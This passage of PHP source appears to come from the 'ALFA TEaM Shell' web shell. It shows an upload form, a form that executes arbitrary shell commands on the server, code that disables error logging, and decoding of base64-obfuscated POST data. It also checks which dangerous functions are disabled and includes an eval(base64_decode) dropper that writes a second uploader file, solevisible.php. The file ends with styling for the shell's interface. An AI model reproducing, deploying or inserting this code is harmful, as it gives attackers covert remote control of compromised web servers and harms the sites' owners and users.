echo "<b style='color: #7CFC00'>Server Ip Address is : </font><font color=white>" . (function_exists('gethostbyname') ? @gethostbyname($_SERVER["HTTP_HOST"]) : '???') . "</font><br><p>";
echo "<hr><center><form onSubmit=\"this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));\" action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
echo 'CWD: <input type="text" name="cwd" value="' . str_replace("\\", "/", @alfaGetCwd()) . '/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
if (isset($_FILES['file'])) {
if (@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']) . '/' . $_FILES['file']['name'])) {
echo "<b><font color=\"#7CFC00\"><center>Upload Successfully ;)</font></a><font color=\"#7CFC00\"></b><br><br></center>";
} else {
echo "<center><b><font color=\"#7CFC00\">Upload failed :(</font></a><font color=\"#7CFC0\"></b></center><br><br>";
}
}
echo "<hr><form onSubmit=\"this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));\" method=\"POST\">Execute Command: <input name=\"command_solevisible\" value=\"\" size=\"59\" type=\"text\" align=\"left\" ><input name=\"execute\" value=\"Execute\" type=\"submit\"><br></form>\r\n<hr><pre>";
if (isset($_POST['command_solevisible'])) {
if (strtolower("PHP") == "win") {
$separator = '&';
} else {
$separator = ';';
}
$solevisible = "cd '" . addslashes(str_replace("\\", "/", @alfaGetCwd())) . "'" . $separator . "" . __ZGVjb2Rlcg($_POST['command_solevisible']);
echo alfaEx($solevisible);
}
echo "</pre>\r\n</body></html>";
exit;
}
@error_reporting("\x00\x00\x0f\x03\x18");
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if (function_exists('set_magic_quotes_runtime')) {
@set_magic_quotes_runtime(0);
}
foreach ($_POST as $key => $value) {
if (is_array($_POST[$key])) {
$i = 0;
foreach ($_POST[$key] as $f) {
$f = trim(str_replace(' ', '+', $f));
$_POST[$key][$i] = decrypt_post($f);
$i++;
}
} else {
$value = trim(str_replace(' ', '+', $value));
$_POST[$key] = decrypt_post($value);
}
}
$default_action = 'FilesMan2';
//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (strtolower("PHP") == "win") {
$GLOBALS['sys'] = 'win';
} else {
$GLOBALS['sys'] = 'unix';
}
$GLOBALS['home_cwd'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if (isset($_POST['c'])) {
if (!@chdir($_POST['c'])) {
$GLOBALS['glob_chdir_false'] = true;
}
}
$GLOBALS['cwd'] = isset($_POST['c']) && @is_dir($_POST['c']) ? $_POST['c'] : @alfaGetCwd();
if ($GLOBALS['glob_chdir_false']) {
$GLOBALS['cwd'] = isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd();
}
if ($GLOBALS['sys'] == 'win') {
$GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
$GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
}
if ($GLOBALS['cwd'][strlen($GLOBALS['cwd']) - 1] != '/') {
$GLOBALS['cwd'] .= '/';
}
if (!function_exists('sys_get_temp_dir')) {
function sys_get_temp_dir()
{
foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {
if ($temp = getenv($env_var)) {
return $temp;
}
}
$temp = tempnam($GLOBALS['__file_path'], '');
if (_alfa_file_exists($temp, false)) {
unlink($temp);
return dirname($temp);
}
return null;
}
}
if (!function_exists("mb_strlen")) {
function mb_strlen($str, $c = "")
{
return strlen($str);
}
}
if (!function_exists("mb_substr")) {
function mb_substr($str, $start, $end, $c = "")
{
return substr($str, $start, $end);
}
}
define("ALFA_TEMPDIR", function_exists("sys_get_temp_dir") ? @is_writable(str_replace('\\', '/', sys_get_temp_dir())) ? sys_get_temp_dir() : (@is_writable('.') ? '.' : false) : false);
function alfahead()
{
$GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
$alfa_uploader = "\$x = base64_decode(\"PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+\");\$solevisible = fopen(\"solevisible.php\",\"w\");fwrite(\$solevisible,\$x);";
define("ALFA_UPLOADER", "eval(base64_decode('" . __ZW5jb2Rlcg($alfa_uploader) . "'))");
if (!isset($_POST['ajax'])) {
function Alfa_GetDisable_Function()
{
$disfun = @ini_get('disable_functions');
$afa = '<span class="header_show_all">All Functions Accessible</span>';
if (empty($disfun)) {
return "<span class=\"header_show_all\">All Functions Accessible</span>";
}
$s = explode(',', $disfun);
$s = array_unique($s);
$i = 0;
$b = 0;
$func = array('system', 'exec', 'shell_exec', 'proc_open', 'popen', 'passthru', 'symlink', 'dl');
$black_list = array();
$allow_list = array();
foreach ($s as $d) {
$d = trim($d);
if (empty($d) || !is_callable($d)) {
continue;
}
if (!function_exists($d)) {
if (in_array($d, $func)) {
$dis .= $d . " | ";
$b++;
$black_list[] = $d;
} else {
$allow_list[] = $d;
}
$i++;
}
}
if ($i == 0) {
return $afa;
}
if ($i <= count($func)) {
$all = array_values(array_merge($black_list, $allow_list));
return '<span class="disable_functions">' . implode(" | ", $all) . '</span>';
}
return '<span class="disable_functions">' . $dis . '</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All (' . $i . ')</span></a>';
}
function AlfaNum()
{
$args = func_get_args();
$alfax = array();
$find = array();
for ($i = 1; $i <= 10; $i++) {
$alfax[] = $i;
}
foreach ($args as $arg) {
$find[] = $arg;
}
echo "<script>";
foreach ($alfax as $alfa) {
if (in_array($alfa, $find)) {
continue;
}
echo 'alfa' . $alfa . "_=";
}
echo "\"\"</script>";
}
if (empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['default_charset'];
}
$freeSpace = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['cwd']) : '?';
$totalSpace = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['cwd']) : '?';
$totalSpace = $totalSpace ? $totalSpace : 1;
$on = "<span class='header_on'> ON </span>";
$of = "<span class='header_off'> OFF </span>";
$none = "<span class='header_none'> NONE </span>";
if (function_exists('ssh2_connect')) {
$ssh2 = $on;
} else {
$ssh2 = $of;
}
if (function_exists('curl_version')) {
$curl = $on;
} else {
$curl = $of;
}
if (function_exists('mysql_get_client_info') || class_exists('mysqli')) {
$mysql = $on;
} else {
$mysql = $of;
}
if (function_exists('mssql_connect')) {
$mssql = $on;
} else {
$mssql = $of;
}
if (function_exists('pg_connect')) {
$pg = $on;
} else {
$pg = $of;
}
if (function_exists('oci_connect')) {
$or = $on;
} else {
$or = $of;
}
if (@ini_get('disable_functions')) {
$disfun = @ini_get('disable_functions');
} else {
$disfun = "All Functions Enable";
}
if (@ini_get('safe_mode')) {
$safe_modes = "<span class='header_off'>ON</span>";
} else {
$safe_modes = "<span class='header_on'>OFF</span>";
}
$cgi_shell = "<span class='header_off' id='header_cgishell'>OFF</span>";
if (@ini_get('open_basedir')) {
$basedir_data = @ini_get('open_basedir');
if (strlen($basedir_data) > 120) {
$open_b = substr($basedir_data, 0, 120) . "...";
} else {
$open_b = $basedir_data;
}
} else {
$open_b = $none;
}
if (@ini_get('safe_mode_exec_dir')) {
$safe_exe = @ini_get('safe_mode_exec_dir');
} else {
$safe_exe = $none;
}
if (@ini_get('safe_mode_include_dir')) {
$safe_include = @ini_get('safe_mode_include_dir');
} else {
$safe_include = $none;
}
if (!function_exists('posix_getegid')) {
$user = function_exists("get_current_user") ? @get_current_user() : "????";
$uid = function_exists("getmyuid") ? @getmyuid() : "????";
$gid = function_exists("getmygid") ? @getmygid() : "????";
$group = "?";
} else {
$uid = function_exists("posix_getpwuid") && function_exists("posix_geteuid") ? @posix_getpwuid(posix_geteuid()) : array("name" => "????", "uid" => "????");
$gid = function_exists("posix_getgrgid") && function_exists("posix_getegid") ? @posix_getgrgid(posix_getegid()) : array("name" => "????", "gid" => "????");
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
$cach_cwd_path = "";
for ($j = 0; $j <= $i; $j++) {
$cwd_links .= $path[$j] . '/';
$cach_cwd_path .= $path[$j] . '/';
}
$cwd_links .= "\")' path='" . $cach_cwd_path . "' href='#action=fileman&path=" . $cach_cwd_path . "'>" . $path[$i] . "/</a>";
}
$drives = "";
foreach (range('a', 'z') as $drive) {
if (@is_dir($drive . ':\\')) {
$drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
}
}
$csscode = ' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="' . __showicon('alfamini') . '" rel="icon" type="image/x-icon"/>
<title>..:: ' . $_SERVER['HTTP_HOST'] . ' ~ ALFA TEaM Shell - v' . __ALFA_VERSION__ . '-' . __ALFA_CODE_NAME__ . ' ::..</title>
<style type="text/css">';
?>
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes 